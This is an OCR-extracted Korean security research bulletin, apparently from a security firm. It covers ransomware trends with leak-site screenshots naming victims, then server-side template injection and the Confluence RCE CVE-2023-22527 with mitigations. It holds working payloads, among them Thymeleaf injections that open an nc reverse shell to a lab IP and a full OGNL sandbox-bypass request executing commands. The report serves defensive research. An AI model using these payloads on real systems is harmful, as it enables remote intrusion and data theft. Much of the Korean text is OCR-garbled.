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https://blog.naver.com/sk_shieldus/223247216129

Keep up with Ransomware
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New ransomware variant

Proton : ZENEX, .SWIFT
Mallox : .ma1x0

Chaos : Jerry Ransom, .ExByZZART3XX, Transcrypt
SerialKiller

Phobos : .new24, fastbackdata, backmydata

.water, .dxen

Stop : .Idhy, .lkhy

Proxima : .Synapse

Dharma : z1n, lock, .SYSDF, .bkp, .Mr

Makop : .rocklee

New ransomware & group
Trisec, RansomHub, Mogilevich, BlackOut, JKwerlo, TalibanSkull, Frea
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3 W TWITTER > B HOW TO BUY BITCOIN > @ CONTACTUS
LOCKETLEN] «€ PRESS ABOUT US > [ AFFILIATE RULES > 4% MIRRORS
gatesshields.com stemcor.com mcs360.com igs-inc.com
[ PUBLISHED ] 1D 16h 18m 56s [ PUBLISHED [ PUBLISHED

Gates Shields Ferguson Swall Hammond P.A. is a
full-service firm with offices in Overland Park,
Kansas, and Liberty, Missouri. Gates Shields
represents a variety of clientele in diverse areas of

Stemcor is a British steel trading and distribution
company. The company acts as an intermediary
between buyers and sellers of steel and raw
materials. It provides additional services, including

MCS360 is a company that provides property
services for residential and commercial buildings
across the country, such as inspections,
preservation, maintenance, and reqistrations. Learn

Integrated Geotechnical Solutions: Vibration, Noise
and Geotechnical Supplier YOU CAN TRUST. OUR

SERVICES EQUIPMENT SALES IGS offers equipment
such as vibration and sound monitors, piezometers,

groupe-idea.com

apeagers.com.au

[ PUBLISHED ]

[ PUBLISHED

Discover the IDEA group IDEA, 100 years of logistics
expertise serving our industrial customers
Responsible and committed, IDEA is an independent
industrial supply chain provider, specialising in

Eagers Automotive is an automative retail group in
Australia and New Zealand. Starting as A P Eagers
Automotive Limited, it has a history of more than
100 vears. The company name chanaed to Eagers

stsaviationgroup.com

14D 06h 15m 17s

STS Aviation Group is a global provider of aircraft
maintenance services. Click the link above now to
learn more. You can contact the main system
administrator on the contacts below, waiting for an

dunaway.com
1D O8h 19m 43s

Construction Inspection Civil Engineering Structural
Engineering Landscape Architecture Survey
Construction Inspection Our Featured Projects
Bowie House Planning + Landscape Architecture ...

equilend.com

Datalend provides global securities finance data,
performance reporting and consulting services for
agent lenders, broker-dealers and beneficial owners.
Learn More Securities Finance Platform You can

fultoncountyga.gov

Fulton County is governed by a seven-member
Board of Commissioners who are elected to four-
year terms, Six of the members are district
commissioners, and the Chairman is At-Larae,

nationaldentex.com

National Dentex is a full-service dental lab partner
that offers a wide range of services, products and
solutions for dentists and their patients. Whether
vou need crowns, bridaes, veneers, implants or

crbgroup.com

A revolutionary integrated project delivery method
that leverages the combined expertise and technical
excellence of ONE project team to deliver your
facilitv in a safe, lean and collaborative way.

27 LockBit 3.0 Aol I1F dolE 4& AIE
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B LEAKED DAT ¥ TWITTER > & HOW TO BUY BITCOIN > @ CONTACTUS >
[Relel (BIT 3.0 a¢ PRESS ABOUT US > El AFFILIATE RULES > &£ MIRRORS >

Deadline: 24 Feb, 2024 21:37:34 UTC

fbi.gov

The Federal Bureau of Investigation is the domestic intelligence and security service of the United States and its principal federal law
enforcement agency. An agency of the United States Department of Justice, the FBl is also a member of the U.S. Intelligence Community and
reports to both the Attorney General and the Director of National Intelligence.
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Research & Technique

SSTI & Atlassian Confluence RCE F Q™ (CVE-2023-22527)

1. Server-Side Template Injection(SSTI)
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Language Framework Template Engine
Python Flask Jinja2 {7*7}1}
C# ASPNet Razor @(7*7)
Java Springboot Thymeleaf ${7*7}
JavaScript - Jade =77
PHP Symphony Twig {77
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ol R&T oAM= 8 ol AH & &S 1% 5 Thymeleaf & AF8-Sh= &730)A SSTI &4
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Thymeleaf

o

Thymeleaf &= XML 7} ¢ BZS g5 £ A" A4 = €22
XHTML, Valid XHTML, HTMLS5, Legacy HTML5 ®H&3 HEE Z
Thymeleaf ol4] UEhte SSTI & AR 48 ol gt 24
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MainController.java

import org.thymeleaf.spring5.SpringTemplateEngine;
import org.thymeleaf.templateresolver.ITemplateResolver;
import org.thymeleaf.templateresolver.StringTemplateResolver;
- (BEh .
public class MainController {
@RequestMapping("/thymeleaf")
@ResponseBody
public String thymeleaf(@RequestParam(defaultValue="sktester") String username, HttpServletRequest
request, HttpServletResponse response) {
String template = "<!DOCTYPE html><html lang='en'><head>" +
- (B .
+ name +"</p></body></html>";
TemplateEngine templateEngine = new SpringTemplateEngine();
ITemplateResolver templateResolver = new StringTemplateResolver();
templateEngine.setTemplateResolver(templateResolver);
WebContext ctx = new WebContext(request, response, request.getServletContext());
- (& ..
Writer out = new StringWriter();

templateEngine.process(template, ctx, out);

return out.toString();}

SSTI &A0] o]-&8t 4= Qli= Thymeleaf Template Engine ©] 7] 220l B h-gu} 7t}
T=Xt a9 il Al
${..} il <div th:itext="${foo}"> </div>

re

HAAY

i

<li><a

il

@{..} URL 23 EHA th:href="@{/foo(param1=${param1},
param2=>${param2})}">foo</a> </li>

.1 ooy =g g2 [[${data}]]

th:text Ef Wi oiojle HE& <h1 th:itext="${data}">data</h1>

(% https://www.thymeleaf.org/doc/tutorials/3.0/uingthymeleafhtml#standard-expression-syntax)
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9] 2 G S0l AUH WS BGA] AR WISk U$TT FES P, ot
Zol ABY TROE AT F 498 FUSHE AL AAT 5 Uk

R [[$(7+7)]]
A Z* ?username=%5b%5b%24%7b%37%2a%37%7d%5d%5d

C )/thymeleaf?username h%624% ykd | £ Incognito

Hello, |49

19 3. Thymeleaf Template Engine oA [[${7*7}]] -2 €= Al

5o B Qo] 418 Y “Cathitext=${7* 7)) (/)" FEOZE B2l 7}55ict,
<a thitext=${7*7}> </a>
?username=%3c%61%20%74%68%3a%74%65%78%74%3d%24%7b%37%2a%37%7d
%3e%3c%2f%61%3e

@ localhos )/thymeleaffusername a> B & incognito

Hello,|49

1% 4. Thymeleaf Template Engine o4 <a th:text=${7*7}> /2> 72 4 A|
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Thymeleaf Template Engine €] 7d-%, Java ©] Reflection 7], SpEL ZE&4], OGNL (Object—Graph
Navigation Language) F@42 &-85lo] o9 Java AAE AHT 4 Art. A AE TH2
93 Qanic etk

ex) Freemarker Template Engine: ¥2]9] Java A A Al, TemplateModel &
ex) Jinja2 Template Engine: ¥2]e] Python A A Al, 249l Object 24
SEoto] B4

Thymeleaf &= 999 #2gE AATt H, forName() HAEE T 5402 SHAE B
AFESH= Java 9] Reflection 7]1%S &85, 2275 U A5 B8 4 Ut whabA,
Q
O

java.lang.Runtime 2 LE SEF F, exec) HAEE &

Fae}
T A

<a thitext="%${".getClass().forName(’java.lang.Runtime’).getRuntime().exec('nc —e

/bin/sh 192.168.102.61 8888")}"> </a>

?username= <a%20th%3atext%3d"%24%7b%27%27%2egetClass%28%29%2eforName%28%27
java%2elang%2eRuntime%27%29%2egetRuntime%28%29%2eexec%28%27nc%20-
€%20%2fbin%2fsh%20192%2e168%2e102%2e61%208888%27%29%7d" > < %2fa>

b4 B & incognito

BN sktest@useworld: ~ — O =

1% 5. Thymeleaf Template Engine o4 974 33 A3 APo=z wAs 4 dF

"' OGNL : struts, Atlassian Confluence 5 Apache A2ZE o], Java Application ol 4] A8-5l= Expression Language T}
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Thymeleaf oA S = o
A Yot FAAE AFRE 4 ST, olF E-8otH o33 o

=

<th th:text="${T(java.lang.Runtime).getRuntime().exec('nc -e /bin/sh 192.168.102.61 8888")}">Test</th>

?username= <th%20th%3atext%3d"%24%7bT%28java%2elang%2eRuntime%29%2egetRuntime

%28%29%2eexec%28%27nc%20-e%20%2fbin%2fsh%20192%2e168%2e102%2e61
%208888%27%29%7d">Test<%2fth>

ymeleaf?username=x< %28 %... o% £ ncognito

19 6. Thymeleaf Template Engine ol 4] SpEL & &8 97 g Agoz a4 A4

-
EOﬂEi—g- /Uﬁﬂfﬂ- s 11;]-

RS [[${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("nc -e /bin/sh 192.168.102.61 8888")}]]
?username=%5b%5b%24%7b%23rt%20%3d%20%40java%2elang%2eRuntime%40getRuntime%28%29%2c
%23rt%2eexec%28"nNc%20-%20%2fbin%2fsh%20192%2e168%2e102%2e61%208888"%29%7d%5d%5d

Uz g

& ® localhost:8080/thymeleaf?username="% % O %640java ang%2eRu... a L incognito

19 7. Thymeleaf Template Engine ol 4] OGNL & €83 97 33 Aoz a4 a4
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B SSTI CiS ot

ofHl AL HEHS AT ¢ gleE o o] MY FAW, FHoR HEHE A5
e E7tuoA JHEH 23S 680tz -7t EARTE TS, logic—less gt Liquid, Handlebars

=] -
Mustache ¢} &2 ®HE3S A Al ZE APge EA2 FE3S F45P] 2ol SSTI 9
et Foi7t 7hssitt. wek sig Aol oE w¥H oE e A5
Hzo] ddzer oz YRt 9 5 Wde AlQstd SSTI o digh A= H-8d2

Sanitization(ZE <t AP} Input Validation(¥ 384t 335, Sandboxing(M=HFA]) o] )t

1. Sanitization(ZE ¢HA AAD

Sanitization ogt HFHA] 2 AHEA AGo=HE Template & AGsHA Frs A=sh=
ool ARgAE dEo]l =gt A% Template ©|A AlESh= Parameter & Fof Aot =
F/dote] Template A0 &S & 5 Y= ASH|oF et

fExzH o2 Flask ¢] render_template) WAZ=E AFES o U} sid UA =9 ZHE AA=

o3 7

ftlo )

o

app.py
#!/usr/bin/python3
from flask import *

-~ (SE ..

@app.route('/', methods=['POST',GET'])
def index():

a = int(request.form['a’])

return render_template(‘index.html’, a=a)
.. (BEH ..
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P Theat 2ol 49 e A3t ofd, (T*TE IYE EYSh: AL HAT 4

ol

A&

;2 ol
5

HO|2E  Ntvir)
SRS 2id=%7b%7b7%2a7%7d%7d

c @ localhost8000/7 d v | £ Incognito

Hello, |{{7*7}}

19 8. Jinja2 Template Engine oA Sanitization ©]1%& {{7*7}} & 4F Al

2. Input Validation(¥4 33 B35

AERE el ) [ ] 2 ESEA AAE ¥ RIES Escape AEE 2AL

Hgslo] thgol 7hsstt. olE Bol, (15518 QPR 25 7} obd, EEAL WE Y Eof

55 ste glol ddior @k theat Zol We® qige FAT 4 Ak ol UE XSS, SQL
njection A &= WA} FLSHHt

- = + . /
? A $ # @
* W X ~ &
% ! ( ) [ ]

< > { } ) -

3. Sandboxing(FH = 8})

AR A8 g 71T ® Template & A4St dEPdfor sh= A9, E7tsHA AREAL
oz Template & A2lg Fuol ok olm, AR AoEHE Wi Templae &
Sandboxing 3te] 4 TEFL AR 9L 71 4 YES A YHORE thgel s,

olul, Sandbosing o 2% $8% o]77t 97| W] DEoR g Hrke T mek WAl
olZzoz 593 LSt AL ARG}
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2. Atlassian Confluence Server 2 Data Center ¥4 I E AldH
Z| kA (CVE-2023-22527)
I

2024 19 16Y, 228 Y9 & 2ZE Yol Atlassian @] Confluence A=A €4 I = A5

F ok (CVE-2023-22527)0] /M5t o] Fokd2 2022 A 6 € 37H¥ Atlassian Confluence

97 F= A FFH(CVE-2022-26134)9] v]&3t Heb A= Qs AT o FfHew
O

AL BADL BYL gelext) WHEE $315t0] OGNL ] H2 7K@ AAE Fo) U7
FSE AT

FI T=)

O
A

19

>
ofo
>
©
o
D
bt
=
4
i
2
0
o,
N
ol

o
T

ofgfje} Zo] OSINT #HA MH-E Faf e Aol 70 Atlassian Confluence & Z 2|3t A,
FHUtE 2ot dAA R B 7ddo] olF | = ARESHL Slith wEtA A ARE-
%91 Atlassian Confluence @] ¥Zo] FoFstz] &<2lo] & Q3slrt,

Total: 8,340

1888

19 9. Atlassian Confluence A Wl&T
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B 34 AL

infosec

@ % Confluence
& ]

@CVE-2023-22527 -)—

TOP
SECRET @

@MY T8 HE B

a9 10. CVE-2023-22527 &4 Au&Ee

(] d]
N
A
A
[Ho
N
o
ol
>
o

@ 2ZAXH= OSINT ZAM QIZIS E3) 2|2t Confluence AHE EHA
@ 34X CVE-2023-22527 F U™ S 0|83H0] HshXt AH{of T2
@ 2AXE=E A HY AHS E3] Reverse Shell ¢
@ 34Xt Olsixte] MHE Fost | Fao HEE 3

= —
B YeHE ATEQ0 HH

CVE-2023-22527 o] # okt AmEQo] WAL gt At}
s/W & Fof BH

8.0.x
8.1.x
8.2.x
8.3.x
8.4.x
850 ~ 853

Atlassian Confluence Data Center and Server
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olE i
Ubuntu 22.04.3 LTS
| sjj Xt Atlassian Confluence 8.5.3
(172.25.48.1)
Kali Linux
SAXt

(192.168.142.135)

352 PC ol CVE-2023-22527 FoFdo] A5 Confluence AHE T334t
olele] Pag Fnst] EAR A FFsaich
« URL : https://github.com/vulhub/vulhub/tree/master/confluence/ CVE-2023-22527

eqst@insight:~$ sudo docker-compose up -d

1% 11. sudo docker—compose up —d .2 &=

A2 Confluence A1H(172.25.48.1:8090)e] HLotH, ofefjel Fo] CVE-2023-22527 F Pl
el 8.5.3 B AHE Felg 4 9}

~ Log In - Confluence X + = O

¢ C A Notsecure 172.25.48.1:8090,login.action?os_destination=%2 b * g 0 & incognito

& Confluence

Log in

Username

Password

Remember me

Forgot your password?

EVALUATION LICENSE Are you enjoying Confluence? Please consider purchasing it today.

Cestina Dansk - Deutsch - Eesti - English (UK} - English (US) - Espafiol . Frangais [slenska - ltaliano - Magyar -
MNederlands - Morsk . Polski . Portugués Roména Slovenéina - Suomi - Svenska - Pyccwi - BRW . HEEE - =0
Powered byfAtlassian Confluence 8.5.3) - Reporta bug - Atlassian News
A ATLASSIAN

79 12. 71k A AR 2l
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Step 2. PoC HIZE
CVE-2023-22527 |24 HIAEE 3t PoC 7} AHH github URL & th23} Ft}.
URL : https://github.com/Avento/CVE-2023-22527 Confluence RCE

522k PC o)A git clone @HAES AME3Ie] CVE-2023-22527 PoC 7} AFH git o] #dS
o= egitt

£

clone https Lcom/Avent:
Cloning 1nto ) = 27 Confluenc
Enumerating
remo Counting 0b1n:

remo EDNﬂTEJJlﬂE ob- LD

remo Total 9@ (del 19}, reused € [ta @ ack-reused 27
Receiving ob

Resolw

ofgo] Feo]E o]l PoC Ul CVE-2023-22527.py & AP 4 glow, FAA PC oA
At Ho|2=7} waiAte] Confluence AHjolA Af ).

‘ $ python3 CVE-2023-22527.py --target [Confluence A{H| FA] —cmd [F 0] ‘
« ——target ¥4 BHAlO] H& FoFgt WA 9] Confluence AH F4 A|H

« ——omd w4 GAA AFL FHo 4Y

OHW]JagEﬁ/W$WﬂWﬂuWigwpﬂigiaagﬁdﬁﬁggj@ggmiﬂﬂﬂ
PC 9] Confluence A AX7} &85 AL B 4 9t}
~/CVE-2023-22527_Confluence_RCE
AL TR get http://172.25.48.1:8090

confluence) gid=2002(confluence) groups=2 (confluence),@(root)

a9 14. 94 9% id 43 2%

a9 15. 948 ¥F cat /etc/passwd AP A7}
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N1

B Y YA 24

Step 1. F<E e

CVE-2023-22527 F°Fd2 Confluence AHofA ofr] TAAFE FHeFdQl CVE-2022-26134 9
ot mel 27} wlgate] WA

CVE-2022-26134 of tigt A 82 EQST Insight 20228 9 €3 oA 818 4= 9t}

« URL:https://www.skshieldus.com/download/files/download.do?0_fname=EQST%20insight %E
D%86%B5%ED%95%A9%EB%B3%B8 202209.pdf&r fname=20220926092549714.pdf

Hord Al BEAolA= CVE-2022-26134 Het mix]of| F7te AF 2o oigh 4E 243
CVE-2023-22527 FeFdo] of8A sid 22 $-2lsto] WAFE=A] et

1) CVE-2022-26134 ESt 1fj%]

Atlassian ©] AH F4E Fof 4ol HolrtE HMESHH, OGNL il 2 QIAskal ZXAs)
UAYS= CVE-2022-26134 of wjgh Het ii]i NL :r"t'o 35t isSafeExpression()
A =S S5

public Object findValue(5tring expr) {

if (expr == null) {
return null;

1
I
try |
[if (!this.safeExpressionUtil.isSafeExpressioniexpr)) {]
return null;

1

]

if (this.overrides != null &% this.overrides.containsKey(expr)) {
expr = (5tring) this.overrides.get(expr);

T

I

if (this.defaultType != null) {
return findValue(expr, this.defaultType);

1

I

return Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);

y catch (Exception e) {
LOG.warn({ "Caught an exception while evaluating expression "" + expr + "' against value stack”, e);
return null;

} catch (OgnlException e2) {
return null;

1
J

1% 16. isSafeExpression() WIAEZ} F71H Ry

2) OGNL & #H35 =3

OGNL ¥ w2} F7-& AgotH, isSafeExpression() MA =+ FAEZ(AST: Abstract Syntax
Tree) @222 OGNL Expression Language E SJAM8IA OGNL & digh A3 5|8 o7&
A4t 229 T4 H9%t £9 OGNL &9 A= o3 Zth

=Xt 29 Oof Al
PPN

#var = AEE #var = 99

@java.util.LinkedHashMap @{"foo":"foo

@class@method(args) Y HAME =2 o .,
value”, "bar” :"bar value"}

(% https://commons.apache.org/dormant/commons-ognl/language-guide.html)

EQST insight | 13


https://www.skshieldus.com/download/files/download.do?o_fname=EQST%20insight_%ED%86%B5%ED%95%A9%EB%B3%B8_202209.pdf&r_fname=20220926092549714.pdf
https://www.skshieldus.com/download/files/download.do?o_fname=EQST%20insight_%ED%86%B5%ED%95%A9%EB%B3%B8_202209.pdf&r_fname=20220926092549714.pdf
https://commons.apache.org/dormant/commons-ognl/language-guide.html

OGNL & #AFSh= isSafeExpression() ®lA =9 OGNL &9 HF #E& LASkstH
ofjel At

infosed

% 17. isSafeExpression() HIAE AF AH

isSafeExpression() WA=+ isSafeExpressionlnternal) HAEE S&ESte] QFHSE LR
HAFRHE, isSafeExpressionlnternal() #lA =+ ©A] containsUnsafeExpression() WA EE &0}
Zb k2ot QRRdekA] AR,
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[public boolean isSafeExpression(String expression)]{
return isSateExpressicnInternal(expression, new HashSet());

1
g

[private boolean isSafeExpressionInternal(String expression, Set<String:> uisitedExpressions\]{
if (!this.SAFE_EXPRESSIONS CACHE.contains(expression)) {
if (this.UNSAFE_EXPRESSIONS_CACHE.contains(expressicn)) {
return false;

}

if (isUnSafeClass(expression)) {
this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
return false;

} else if (SourceVersion.isName(trimQuotes(expression)) && this.allowedClassNames.contains(trimQuotes(expression)))
this.SAFE_EXPRESSIONS CACHE.add(expression);

} else {

try {
Object parsedExpression = OgnlUtil.compile(expression);
if (parsedExpressicn instanceof Node) {

if {lcontainsUnsafeExpression((lNode) parsedExpression, visitedExpressions)f) {
this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
log.debug(string.format("Unsate clause found in [\" #s \"]", expression));

} else {

this.SAFE_EXPRESSIONS_CACHE.add(expression);

r
1

1
)
!

y

} catch (0OgnlException | RuntimeException e} {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
log.debug("Cannot verify safety of 0GNL expression”, e);

1
)
L
I

return this.SAFE_EXPRESSIONS_CACHE.centains(expression);

1% 18. isSafeExpression() HIAEQ] AZ A

containsUnsafeExpression() WA Ex THA| FAEZ S FE L ToARE AlZbst Eq]
LA containsUnsafeExpression() HIAEE AAF LR TEIH T HAE:E 7 &
A4 " HE AR zE de 99 9 Addd AfE steA, s8"H SHA

sto] 7t
=
)

=
Ageten), 2HAE SHoR sEele UHEES Algled, Slgeld] gk WS AgaAs

RBEA T HARIH. o] WM=olA PSR g2 W o|F(#application, #request &) et
THE ASTVarRef LTofA Sdfgict,

[private boolean containsUnsafeExpression(Node node, Set<String: visitedExpressions)]{
string nodeClassName = node.getClass().getName();
if (UNSAFE_NODE_TYPES.contains(nodeClassName)) {
return true;

1

J

if ("ognl.ASTStaticMethod”.equals{nodeClassName) && !this.allowedClassNames.contains(getClassNameFromStaticMethod(node))) {
return true;

1

J

if ("ognl.ASTProperty”.equals(nodeClassName) && isUnSafeClass(node.toString())) {
return true;

1

J

if ("ognl.ASTMethod”.equals(nodeClassName) &2 this.unsafeMethodNames.contains(getMethodInOgnlExp(nade))) |
return true;

1

J

if ("ognl.ASTVarRef".equals(nodeClassName) &2 UNSAFE_VARIABLE_NAMES.contains(node.toString())) {
return true;

1

J

if ("ognl.ASTConst”.equals(nodeClassName) && !isSafeConstantExpressionNode(node, visitedExpressions)) {
return true;

1

J

for (int 1 = @; i < node.jjtGetNumChildren(); i++) {
Node childNede = node.jjtGetChild(di);
if (childnede != null &&[containsunsafeExpression(childNode) VisitedExpressions)j]{

return true;

1
I

1

I

return false;

1% 19. ContainsUnsafeExpression() HIANE2] AAH 5&
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Step 2. CVE-2023-22527
D) getText() $-3

dutd oz ARGAF 8 Zr2 Confluence/template/aui/text—inline.vm?e]l Q= getText() HAER
s OGNL &z siM=A] ¢h=th. A2 94F ol Unicode(Wu0027)E F7Ht ©]<,
OGNL & 4sHd, Unicode(Wu0027) °1% AH8AF 4 & OGNL +22= o4t}

#s2t( $labelvalue = hstack.%indValue("getText('$parameters.label')”) }]
#if( !$labelvalue )

#zet( $labelvalue = Sparameters.label )
#end

#if (!$paramsters.id)
#set( $paramsters.id = $parameters.name)
#end

<label id="${paramsters.id}-label” for="$parameters.id"»
%!labelvalue
#if($parameters.required)

<span class="aul-icon icon-required"»</span>

<span class="content">$parameters.required</span>
#end
</label>

#parse(”/template/aui/text-include.vm")

a9 20. FoFst 2 A9 text—inlinevm A& FE

‘(Apostrophe)E UEtE SYIEQ Wu0027& F7Hete] getText) #IAEE 93)5tE oY

&el dAlE o= 2o

?label=#u0027%2b#[OGNL A% T2]%2b%Wu0027

2 vm(Veloci Macro) : Velocity Macro @ A2 Velocity ®Z3 1704 A5l @28 mhd

1=

=

o] SR vm)th
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M}

2) OGNL 728 23 914 zc Al A8 ok
HAE 236t g, OGNL F&o| Zzste] 92 FErp AdE o

infosec

org.apache.struts2.view.velocity.StrutsVelocityContext#int
@ ernalGet
(StrutsVelocityContext Class 2 &)

® org.apache.struts2.views.jsp.ui.OgnlTool#findValue
(OgnliTool Class ZE)

® Freemarkertemplate.utility.Execute
(Freemarker templateOf| A Java ZHA|| 24 4d)

@ java.lang.Runtime#exec(java.lang.String)
(Java.lang.Runtime 22i& T E)

a9 21. 94 I A 5& A

@ org.apache.struts2.view.velocity.Struts VelocityContext#internal Get )

isSafeExpression(0& &4 OGNL HE#HAE HESHA|, CVE-2023-22527 & OGNL °f H
Pt EA AAll it AFol FEteo] AR isSafeExpression() AFolA FeE Aom
de AR 0 552 ot gk

A RCE 7t5 o %

#request['.KEY_velocity.struts2.context'] RCE 7t&
#request['.freemarker.TemplateModel’] RCE 7t&
#request|'.freemarker.Request’] B2 7ts

el

% '#request[“ KEY. velocity.struts2.context”|'"& ©]-8olo] FHoFd A EA& st o]
Aol gt AAIgt 82 offje] 39 VelocityManager.java AAFE Yol g1t &=
o,

« URL:https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035d{94e94a1007d7¢360/plu
gins/velocity/src/main/java/org/apache/struts2/views/velocity/VelocityManager.java

¥ &
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https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7c360/plugins/velocity/src/main/java/org/apache/struts2/views/velocity/VelocityManager.java

#request[ . KEY.velocity.struts2.context’ <= AEZ A 475k SAUE =2 eE
request.getAttribute(“.KEY.velocity.struts2.context”) ¢} 2 kg 3gith. g HAzk2 offet
Zol AAxlo] firequestl " KEY velocity.struts2.context”] ZAE &Z& A|, StrutsVelocityContext
ZEart $&0] HH, s EdA dols OgnlTool 2 3&% 4 & internalGet WA =7}
AR5 et siEd AA= org.apache.struts2.view.jsp.ui.OgnlTool QIAEIA| HET 4= Qlrt,

public Context createContext(WalueStack stack, HttpServletRequest req, HttpServletResponse res) {

[StﬂLtsVeloci:yCortext context = new StrutsVelocityContext(chainedContexts, 5tackjﬂ

if (toolboxManager != nyll && ctx != null) {
ToolContext chaineg = naw ToolContext(velocityEngine);

chained.addToolboy(toolboxManager.getToolboxFactory().createToolbox(ToolboxFactory.DEFAULT_SCOPE));
result = chainad
} else

I
L

result = context; [pub;ic static final String KEY_WELOCITY_STRUTS_CONTEXT = ".KEY_velocity.struts2.context”;

[req.setAttribute{KEY_VELOCITY_STRUTS_(ONTEXT, result}J
return result;

3% 22. VelocityManager.java ©] KEY_velocity.struts2.context 544 3t 273

[pub]ic Object internalGet(String keyj]{
1t (super.internalContainsKey(key)) {
return super.internalGetikey);

}
if (this.stack != null) {
Object object = this.stack.findValue(key);
if (ocbject !'= null) {

return object;
1

}
Object object2 = this.stack.getContext().get{key);
if (object2 != null) {

return object2;
}

}

if (this.chainedContexts != null) {

for (int index = 8; index < this.chainedContexts.length; index++) {

L
if (this.chainedContexts[index].containsKey(key)) {
return this.chainedContexts[index].internalGet(key);
}

1

J

return null;
}
return null;

3% 23. StrutsVelocityContext Z#A W9] internalGet HA=

@ org.apache.struts2.views.jsp.ui.OgnlTool#find Value()
kst Confluence ¢4 org.apache.struts2.views.jsp.ui.OgnlTool S1AE A0 L3 F | findValue()
HAEE SEsto] 94 F= APE 7HssHA i

®, @ Freemarker.template.utility. Execute, java.lang. Runtime#exec(java.lang.String)
Execute + Freemarker Template oA Q& AMEE AP & QA Wt AL T
ZHLE AAS F, javalang.Runtime 2] exec WA EE SE6|A §4 YolE APA7|= Aol
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?label=¥#u0027%2b%?23requestWu005b¥u0027.KEY_velocity.struts2.context#u0027
Wu005d.internalGet(#Wu00270gnl#u0027).findValue(%23parameters.x,{}) %2b¥Wu0027
&x=@org.apache.struts2.ServletActionContext@getResponse().getWriter().write((

new freemarker.template.utility.Execute()).exec({"id"}))

m ©h Cance < v

Request
Prett Raw Hex noo=

Target: hitp://192.168.102.74:8090 /F  HTTP/1

Response
Pretty Raw Hex Render noo=

GET /template/aui/text—inline,vm?label=
aaa%bCul027%2B%23r equest . get%h28%5Cu0027 . KEY _velocity.struts2.
context%5Cu0027%29 , internal Get%28%5Cu00270gn ! %5Cu0027%29 . find
Value%28%23parameters . pockbBO%E0%2C%7B% 7 0%29%28%5Cu0027&poc=

%400rg.apache,struts2, ServiethctionContexth40getResponset2she
9.setHeader%28%5Cu0027Cmnd-Re t%5Cu0027%2C%28newt freemarker . tem
plate utility, Executeh28%29%29 exech28%7B%221 dh22%70%29%29

HTTR/ 1.1

Host: 192,168,102.74:8090

Cache-Control: max—age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0: WinB4: x64)

Applelebkit/537.36 (KHTML, |ike Gecko) Chrome/121.0.6167.160

Safari/537.36

b Accept:
text/html ,application/xhtml+xml .application/«ml:q=0.9,inage/a
vif,image/webp,image/apng,*/*:q=0.8,application/signed-exchan
ge:v=h3:0=0.7

7 Accept-Encoding: gzip. deflate. br

[y RNV

HTTP/1.1 200

Cache-Control: no-store

Expires: Thu, 01 Jan 1970 00:00:00 GMWT
X-XS5-Protection: 1. mode=block
¥—-Content-Type-Options: nosniff

K-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Confluence-Request-Time: 1709826390978
Set-Cookie: JSESSIONID=T40CA2F72ABAASTESBA1FETEAET38252:
Path=/: Httplnly

Cnd-Ret: uid=2002(confluence) gid=2002({confluence)
groups=2002(conf luence),0(root)

11 X-Accel-Buffering: no

12 Vary: User-Agent

13 Content-Type: text/html:charset=UTF-8

14 Content-Language: ko-KR

15 Date: Thu, 07 Mar 2024 15:46:31 GNT

16 Connection: close

17 Content-Length: 31824
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CVE-2023-22527 £ Confluence AHoA F kst EHAS o

BAA Q] A AS 3= AT =, OGNL ZdAo] ozt AF vlgt FHeket nd4
ArgSl sk FoFoltt. whEbA FoFglo] WAH text—inlinevm T o] getTextOE &9
getValueO= & Ao+ HAAS AHEshe A2 HigAlsA] gt o} o] Adassian 2
S FoFdol oigh HetxA = FokstAY EE ot HE3S o AT

~ CONFLUENCE ~ CONFLUENCE
~ template ~ template
~ aui ~ aui

assistive.vm assistive.vm
checkbox-inputvm checkbox-input.vm
checkbox.vm.vm checkbox.vm.vm
country-select.vm country-select.vm
editorvm editor.vm
hidden.vm hidden.vm
118n-convention-radiolistvm 118n-convention-radiolist.vm
onofflist-include.vm onofflist-includewm
onofflistvm onofflistvm
password.vm password.vm
radiolistvm submit-closevm
select.vm submit.vm
space-select.vm text-include.vm
submit-close.vm textvm
submit.vm textarea.vm
text-includevm widetextareavm
text-inline.vm wiki-textarea.vm
text.vm > custom
textareavm > includes
widetextarea.vm > notable
wiki-textarea.vm > xhtml

a9 25. FoFstAY 24adt AEe] o A4AE Be

2okt Confluence A= 2ok T)2)7h 485 wdoR Julo|Eg APsof Tk,
« URL: https://confluence.atlassian.com/kb/faq—for—cve—2023-22527-1332810917.html

HEF X7t H8E HH
Confluence Data Center and Confluence Server 8.5.4(LTS)

8.6.0(Data Center Only)
8.7.1(Data Center Only)

Confluence Data Center
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« URL : https://github.blog/2023-01-27-bypassing—ognl-sandboxes—for—fun—and—charities/#ognltool-
ognlutil

« URL : https://confluence.atlassian.com/kb/faq—for—cve—-2023-22527-1332810917.html

« URL : https://blog.projectdiscovery.io/atlassian—confluence—ssti—remote—code—execution/

« URL : https://www.scmagazine.com/news/thousands—of-exploit—attempts—reported—on—critical -
atlassian—confluence—rce

« URL : https://www.scmagazine.com/news/thousands—of—exploit—attempts—reported—on—critical -
atlassian—confluence-rce

« URL : https://www.blackhat.com/docs/us—15/materials/us—15-Kettle—Server—Side—Template—Injection—
RCE-For-The-Modern—Web—App-wp.pdf

« URL : https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html
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